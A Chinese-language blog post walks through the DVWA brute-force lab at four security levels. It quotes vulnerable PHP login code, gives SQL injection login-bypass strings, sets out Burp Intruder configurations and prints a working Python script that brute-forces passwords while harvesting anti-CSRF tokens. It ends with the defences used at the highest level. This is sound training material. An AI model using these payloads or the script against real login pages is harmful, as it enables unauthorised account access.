freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DVWA-Brute Force
2023-01-06 15:09:15
所属地 河北省

1.Brute Force

1.Brute Force(Low)

相关的代码分析

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Check the database
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

可以看到,服务器只是通过 isset( $_GET[ 'Login' ]) 来判断 参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。

第一种方法,用burp的intruder模块爆破

加标识符

在这里插入图片描述

设置payload

在这里插入图片描述

设置线程,并开始爆破

在这里插入图片描述

查看返回信息中,长度不同的,再看返回状态,爆破成功,账号:admin 密码:password

在这里插入图片描述

第二种方法,使用SQL注入

账号输入admin'发现报错

在这里插入图片描述

在用户名处注入语句,密码处为空

admin' or '1'='1或者admin' #

在这里插入图片描述

2.Brute Force(Medium)

相关的代码分析

在这里插入图片描述

相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(登录错误的sleep(2)实在算不上)。

虽然sql注入不再有效,但依然可以使用Burpsuite进行爆破,与Low级别的爆破方法基本一样,这里就不赘述了。

3.Brute Force(High)

相关代码分析

在这里插入图片描述

High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。

在这里插入图片描述

每次次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。)


同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。

在这里插入图片描述

第一种方法,由于加入了Anti-CSRFtoken预防无脑爆破,存在user_token时的登录流程为:

在这里插入图片描述

简单用python写个脚本。

下面的脚本(python 3.7),用户名为admin,对password参数进行爆破并打印结果,仅供各位参考。

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# @File : brute_force.py
# @Author: ShenHao
# @Contact : 1427662743@qq.com
# @Date : 20-2-4下午4:26
# @Desc : 脚本爆破带token的web网站

from bs4 import BeautifulSoup
import requests

header = {
'Host': '43.247.91.228:81',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://43.247.91.228:81/vulnerabilities/brute/index.php',
'Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u',
'DNT': '1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}

login_header = {
'Host': '43.247.91.228:81',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u',
'DNT': '1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}

url = "http://43.247.91.228:81/vulnerabilities/brute/index.php"
login_url = r'http://43.247.91.228:81/login.php'


# 获取主界面的token
def get_login_token(requrl, header):
response = requests.get(url=requrl, headers=header)
data = response.text
# print('\t', len(data))
soup = BeautifulSoup(data, "html.parser")
user_token = soup.select('form[action] > input[name]')[0].get('value')  # get the user_token
return user_token


# 获取爆破界面的token
def get_target_token(requrl, header):
response = requests.get(url=requrl, headers=header)
data = response.text
print('\t', len(data))
# print(data)
soup = BeautifulSoup(data, "html.parser")
# user_token = soup.select('form[action] > input[type]') # get the user_token
user_token = soup.find_all('input')[3].get('value')  # get the user_token
# print(user_token)
return user_token


# 先登录主界面
login_token = get_login_token(login_url, login_header)
requests.post(url=login_url,
headers=login_header,
data={'username': 'admin', 'password': 'password', 'Login': 'Login', 'user_token': login_token})

# 进入目标界面
user_token = get_target_token(url, header)
i = 0
for line in open("password.txt"):
requrl = "http://43.247.91.228:81/vulnerabilities/brute/index.php" + "?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
print(i, '\tadmin\t', line.strip(), end='\t')
user_token = get_target_token(requrl, header)
i += 1

print('Task Done!')

在这里插入图片描述

对比结果看到,密码为password时返回的长度不太一样,手工验证,登录成功,爆破完成。

第二种方法,用burp爆破,具体设置如下:

选择pitchfork进行爆破,添加密码和token变量

在这里插入图片描述

因为token值是单次传递的,所以线程数改为1

在这里插入图片描述

在GREP-Extract中获取响应包,从中提取参数。选中token值,这个时候工具会自动编辑规则,复制token值备用。点击ok。

在这里插入图片描述

在页面最底部找到always选项

在这里插入图片描述

回到payloads模块,正常添加第一个变量密码的字典

在这里插入图片描述

第二个变量选择递归搜索(Recursive grep)

在这里插入图片描述

查看返回信息中,长度不同的,再看返回状态,爆破成功,账号:admin 密码:password

在这里插入图片描述

4.Brute Force(Impossible)

相关的代码分析

在这里插入图片描述

可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。

同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

# 渗透测试 # 网络安全 # web安全 # 漏洞分析 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录